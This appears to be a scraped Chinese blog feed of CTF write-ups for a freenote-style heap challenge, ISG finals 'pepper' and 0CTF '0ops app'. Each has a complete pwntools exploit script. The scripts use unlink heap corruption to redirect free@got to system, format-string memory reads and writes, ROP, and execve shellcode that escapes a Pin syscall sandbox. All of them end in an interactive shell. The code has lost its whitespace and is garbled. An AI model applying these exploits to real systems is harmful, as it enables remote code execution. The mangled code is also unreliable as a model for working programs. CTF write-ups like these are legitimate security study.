#!/usr/bin/env python2frompwnimport*#pip install pwntoolsr=remote('127.0.0.1',9990)f=open("payload","wb")defnewnote(x):r.recvuntil('Your choice: ')r.send('2\n')f.write('2\n')r.recvuntil('Length of new note: ')r.send(str(len(x))+'\n')f.write(str(len(x))+'\n')r.recvuntil('Enter your note: ')r.send(x)f.write(x)defdelnote(x):r.recvuntil('Your choice: ')r.send('4\n')f.write('4\n')r.recvuntil('Note number: ')r.send(str(x)+'\n')f.write(str(x)+'\n')defgetnote(x):r.recvuntil('Your choice: ')r.send('1\n')f.write('1\n')r.recvuntil('%d. '%x)returnr.recvline(keepends=False)defeditnote(x,s):r.recvuntil('Your choice: ')r.send('3\n')f.write('3\n')r.recvuntil('Note number: ')r.send(str(x)+'\n')f.write(str(x)+'\n')r.recvuntil('Length of note: ')r.send(str(len(s))+'\n')f.write(str(len(s))+'\n')r.recvuntil('Enter your note: ')r.send(s)f.write(s)defquit():r.recvuntil('Your choice: ')r.send('5\n')f.write('5\n')foriinrange(4):newnote('a')delnote(0)delnote(2)newnote('12345678')s=getnote(0)[8:]heap_addr=u64((s.ljust(8,"\x00"))[:8])heap_base=heap_addr-0x1940print"heap base is at %s"%hex(heap_base)delnote(0)delnote(1)delnote(3)size0=128+0x90+0x90newnote(p64(0)+p64(size0+1)+p64(heap_base+0x18)+p64(heap_base+0x20))newnote("/bin/sh\x00")newnote("a"*128+p64(size0)+p64(0x90)+"a"*128+(p64(0)+p64(0x91)+"a"*128)*2)delnote(3)free_got=0x602018free2system=-0x3b6a0editnote(0,p64(100)+p64(1)+p64(8)+p64(free_got))s=getnote(0)free_addr=u64((s.ljust(8,"\x00"))[:8])system_addr=free_addr+free2systemprint"system is at %s"%hex(system_addr)editnote(0,p64(system_addr))delnote(1)f.close()r.interactive()

ISG决赛pepper

$
0
0

这道题目是去年参加ISG决赛时遇到的。二进制文件是有多个漏洞,我们当时是做的栈溢出,而堆溢出一直没有研究过。正好这两天在学习堆溢出,发现这道题和0CTF的freenote十分相似,不愧是同一批人出的题目。所以,在这里简要记录下,因为思路是完全一样的

具体地,通过修改restaurant的功能,我们可以重新编辑restaurant的description。description是保存在堆上的,但在修改时,完全没有考虑新的内容会超过之前分配的大小,于是堆溢出了。与freenote一样,我们写大量的内容到堆上,来构造一系列伪chunks,再通过free时的unlink,来修改某个值。

unlink检查时,也用的是和freenote一样的方法,即找到某个存有我们伪chunk地址的地方,从那里往前3个指针作为fd,往前2个指针作为bk。freenote里,保存malloc地址的结构数组是存在堆上的,所以那道题我们需要首先得到heap的地址。而pepper这道题,保存所有restaurant结构的数组是在全局变量,已经是固定位置,所以省下了这一环节。

后面的思路就完全一样了。再次修改,使得description指向free@got,并通过读写,将system的地址写到free@got,最后删除时就会调用system了。

下面是具体代码:

#!/usr/bin/env python2frompwnimport*r=remote('127.0.0.1',55555)f=open("payload","wb")defsend(x):r.send(x)f.write(x)defnewItem(length,desc,name="restaurant",address="road",no="1",score=100):r.recvuntil('Your choice: ')send('4\n')r.recvuntil('Input Rest. name(no more than 32 characters): ')send(name+'\n')r.recvuntil('On which road(no more than 128 characters)? ')send(address+'\n')r.recvuntil('Street No? ')send(no+'\n')r.recvuntil('Length of the description of your favourite dish: ')send(str(length)+'\n')r.recvuntil('Input your description:')send(desc+'\n')r.recvuntil('Finally, give a score ;-)')send(str(score)+'\n')defdelItem(i):r.recvuntil('Your choice: ')send('3\n')r.recvuntil('Input the index of Rest. you want to delete: ')send(str(i)+'\n')defshowItem(i):r.recvuntil('Your choice: ')send('2\n')r.recvuntil('Please input the index of the restaurant: ')send(str(i)+'\n')r.recvuntil('Recommended Dish: ')returnr.recvline(keepends=False)defeditItem(i,length,desc,score=100):r.recvuntil('Your choice: ')send('5\n')r.recvuntil('Input the index of Rest. you want to edit: ')send(str(i)+'\n')r.recvuntil('New score XD: ')send(str(score)+'\n')r.recvuntil('Do you want to change the description of the recommended dish(y/n)? ')send("y\n")r.recvuntil('New len: ')send(str(length)+'\n')r.recvuntil('New description: ')send(desc+'\n')defquit():r.recvuntil('Your choice: ')send('6\n')newItem(127,"aaaa")newItem(127,"bbbb")#fd->bk = bk->fd = &ptrptr=0x0804b0a0+4*2fd=ptr-4*3bk=ptr-4*2# crafted chunks# chunk0' starts from &ptr# chunk0 is freechunk0=p32(0)+p32(0x81)+p32(fd)+p32(bk)+"A"*(0x80-4*4)chunk1=p32(0x80)+p32(0x90)+"B"*(0x90-4*2)chunk2=p32(0)+p32(0x91)+"C"*(0x90-4*2)chunk3=p32(0)+p32(0x91)+"D"*(0x90-4*2)chunk=chunk0+chunk1+chunk2+chunk3editItem(0,1000,chunk)# free chunk1, and will result in unlink of chunk0delItem(1)# now restaurant0's description points to 0x0804b09cfreeGot=0x0804b014free2system=-0x38520# will overwrite first 12 bytes of restaurant0 and set its description pointing to free@goteditItem(0,20,p32(0)+p32(100)+p32(20)+p32(freeGot))s=showItem(0)freeAddr=u32((s[:4].ljust(4,'\x00'))[:4])systemAddr=freeAddr+free2systemprint"system is at %s"%hex(systemAddr)# write system to free@goteditItem(0,4,p32(systemAddr))# invoke system("/bin/sh")newItem(20,"/bin/sh")delItem(1)r.interactive()exit(0)

所以这道题用的还是unlink。而我看217的writeup里,似乎是通过fastbin来做的,有空再研究下fastbin这种方法。

0CTF 0ops app

$
0
0

这道题提供了一个sandbox.so,当时我连如何运行这道题都不知道……今天阅读了http://acez.re/ctf-writeup-0ctf-2015-quals-login0opsapp-breaking-out-of-a-pin-sandbox/https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py,终于搞明白这道题目了,在此记录。

具体地,这道题目需要用pin,下载配置好之后,就可以按如下方式来运行:

$ pin.sh -injection child -t sandbox.so -- ./login

由于目标二进制文件与login里是同一个,所以漏洞还是格式化字符串攻击,可见之前login的writeup。在那道题,我们通过修改返回地址为读flag的函数来获得flag。在这道题,我们同样可以修改返回地址,从而再次调用有问题的printf

如果没有sandbox保护,那我们可以利用格式化字符串攻击来泄露内存地址,获得system,再修改返回地址。但这道题的sandbox.so有进行保护。下面是反编译得到的一部分伪代码:

functionsyscall_check(unsignedint,LEVEL_VM::CONTEXT*,LEVEL_CORE::SYSCALL_STANDARD,void*){r13=arg3;LODWORD(r12)=LODWORD(arg0);LODWORD(rbp)=LODWORD(arg2);rbx=arg1;rsp=rsp-0x8;rax=LEVEL_PINCLIENT::PIN_GetSyscallNumber(rbx,LODWORD(arg2));if(rax!=0x3){//closeif(CPU_FLAGS&BE){//read, write, openif((rax==0x3c)||(rax==0xe7)){//exit, exit_groupreturnrax;}else{if(rax==0x25){//alarmif(*(int8_t*)activated!=0x0){rax=exit(0xffffffff);}else{*(int8_t*)activated=0x1;rax=mprotect(activated,0x1000,0x1);if(LODWORD(rax)!=0x0){rax=exit(0xffffffff);}else{returnrax;}}}else{rax=activated;if(*(int8_t*)rax==0x0){returnrax;}else{rax=exit(0xffffffff);}}}}else{if(rax>0x1){rax=activated;if(*(int8_t*)rax!=0x0){rax=open_check(LODWORD(r12),rbx,LODWORD(rbp),r13);if(LOBYTE(rax)==0x0){rax=exit(0xffffffff);}else{returnrax;}}else{returnrax;}}else{returnrax;}}}else{returnrax;}returnrax;}

可以看到,如果有调用过alarm,那么能够进行的syscall就只有read, write, open了。而不幸的是,login在运行时有调用过alarm。所以,直接修改login的执行流程来调用systemexecve是不可能的了,我们只能通过修改sandbox.so的执行流程来调用execve。具体地,如果把sandbox.so里的exit@got修改指向我们的shellcode,那么再次调用不符规定的syscall,就会造成sandbox.so里执行exit,即执行我们的shellcode了。

特别的,虽然我的系统开了ASLR,但是实验发现,pinbin每次都是被加载到了固定的地址,而pinbin是有DT_DEBUG信息的:

$ readelf -d /opt/pin/intel64/bin/pinbin 

Dynamic section at offset 0x87e3e0 contains 26 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libdl.so.2]
 0x0000000000000001 (NEEDED)             Shared library: [libstdc++.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000010 (SYMBOLIC)           0x0
 0x000000000000000c (INIT)               0x3041b4488
 0x000000000000000d (FINI)               0x3045fa278
 0x0000000000000004 (HASH)               0x304001060
 0x0000000000000005 (STRTAB)             0x304039fb0
 0x0000000000000006 (SYMTAB)             0x30400c980
 0x000000000000000a (STRSZ)392376(bytes)
 0x000000000000000b (SYMENT)24(bytes)
 0x0000000000000015 (DEBUG)              0x0
...

结合之前关于DT_DEBUG文章,我们可以遍历来获得sandbox.so在内存中的地址,进而得到sandbox.so里的exit@got的地址。具体地:

$ readelf -lW /opt/pin/intel64/bin/pinbin 

Elf file type is DYN (Shared object file)
Entry point 0x3041b5150
There are 8 program headers, starting at offset 64

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000304000040 0x0000000304000040 0x0001c0 0x0001c0 R E 0x8
  INTERP         0x001024 0x0000000304001024 0x0000000304001024 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000304000000 0x0000000304000000 0x7e37a4 0x7e37a4 R E 0x200000
  LOAD           0x7e37a8 0x00000003049e37a8 0x00000003049e37a8 0x0a3588 0x1b3380 RW  0x200000
  DYNAMIC        0x87e3e0 0x0000000304a7e3e0 0x0000000304a7e3e0 0x0001e0 0x0001e0 RW  0x8
...

我们知道.dynamic会在0x304a7e3e0。所以通过不断地printf打印内存信息,遍历link_map,获得sandbox.so的地址。

此外,检查maps发现,内存中有rwx的区域的,其地址也是每次不变的,应该是pinbin引入的。所以我们可以先ROP,将shellcode写到那个rwx的区域;并修改sandbox.so中的exit@got指向我们的shellcode,最后调用不符要求的syscall,即达到目的。具体地,ROP我是先通过pop; ret把几个寄存器的值设好,再调用login中的一个类似于readline的函数,来实现写shellcode到指定位置。

下面是具体的代码,有些乱……

#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='amd64',os='linux')ip="127.0.0.1"#ip = sys.argv[1]conn=remote(ip,55555)f=open("pl","wb")defsend(data):conn.send(data)f.write(data)payload="guest\nguest123\n2\n"+"A"*256+"4\n"+"%1$p,%3$p\n1234\n"send(payload)conn.recvuntil("Password: ")conn.recvuntil("Password: ")addrs=(conn.recvline(keepends=False).split(" ")[0]).split(',')base=int(addrs[0],16)-0x1490stack=int(addrs[1],16)retAddr=stack-0x8print"ret addr is %s"%hex(retAddr)print"base is %s"%hex(base)addr0=(base+0x1053)&0xffffdefreadStr(where):username="%%%dx%%40$hn--%%41$s--"%addr0password=p64(retAddr)+p64(where)send(username+'\n'+password+'\n')conn.recvuntil('--')returnconn.recvuntil('--')[:-2]defread8(where):content=''whilelen(content)<8:res=readStr(where)content+=(res+'\x00')where+=(len(res)+1)returnu64(content[:8].ljust(8,'\x00'))#iterate link_map to find the address of libdeffindBase(dynamic,lib):r_debug=read8(dynamic)print'r_debug is at %s'%hex(r_debug)link_map=read8(r_debug+8)print'link_map is at %s'%hex(link_map)whileTrue:l_name=read8(link_map+8)l_name_str=readStr(l_name)ifl_name_str.endswith(lib):l_addr=read8(link_map)print'%s is at %s'%(l_name_str,hex(l_addr))breaklink_map=read8(link_map+24)returnl_addrpinDynamic=0x304a7e3e0sandboxBase=findBase(pinDynamic+13*16+8,'sandbox.so')defwrite8(where,what):writes={}writes[where]=what&0xffffwrites[where+2]=(what>>16)&0xffffwrites[where+4]=(what>>32)&0xffffwrites[where+6]=(what>>48)&0xffffwrites[retAddr]=addr0printed=0username=''password=''index=40forwhere,whatinsorted(writes.items(),key=operator.itemgetter(1)):delta=(what-printed)&0xffffifdelta>0:ifdelta<8:username+='A'*deltaelse:username+='%'+str(delta)+'x'username+='%'+str(index)+'$hn'index+=1password+=p64(where)printed+=deltasend(username+'\n'+password+'\n')'''    6A25              push byte +0x25    58                pop rax    0F05              syscall'''# call alarm to invoke exit in sandboxshellcode1='6a25580f05'.decode('hex')'''    6A3B              push byte +0x3b    58                pop rax    99                cdq    52                push rdx    EB06              jmp short 0xd    5F                pop rdi    4831F6            xor rsi,rsi    0F05              syscall    E8F5FFFFFF        call qword 0x7    2F62696E2F7368    "/bin/sh"'''shellcode2='6a3b589952eb065f4831f60f05e8f5ffffff2f62696e2f7368'.decode('hex')rwx=0x0304aa8080exitGotSandbox=sandboxBase+0xa4e440#write shellcode address to exit@got in sandboxwrite8(exitGotSandbox,rwx+len(shellcode1))verify=read8(exitGotSandbox)print'verify: %s'%hex(verify)# 0x1363 : pop rdi ; ret# 0x1361 : pop rsi ; pop r15 ; retreadline=base+0xcb5#rop: read shellcode to rwx arearop=p64(base+0x1363)+p64(rwx)+p64(base+0x1361)+p64(0x1234)+p64(0)+p64(readline)+p64(rwx)pop5ret=base+0x135busername=("%%%dx%%10$hn--"%(pop5ret&0xffff)).ljust(16)+p64(retAddr)+ropsend(username+'\n1234\n')conn.recvuntil('--')send(shellcode1+shellcode2+'\n')conn.interactive()exit(0)

write8那里直接用了https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py的代码。我之前都是从低位到高位按顺序修改的,但他这样先排一次序再写我觉得很好。

Viewing all 122 articles
Browse latest View live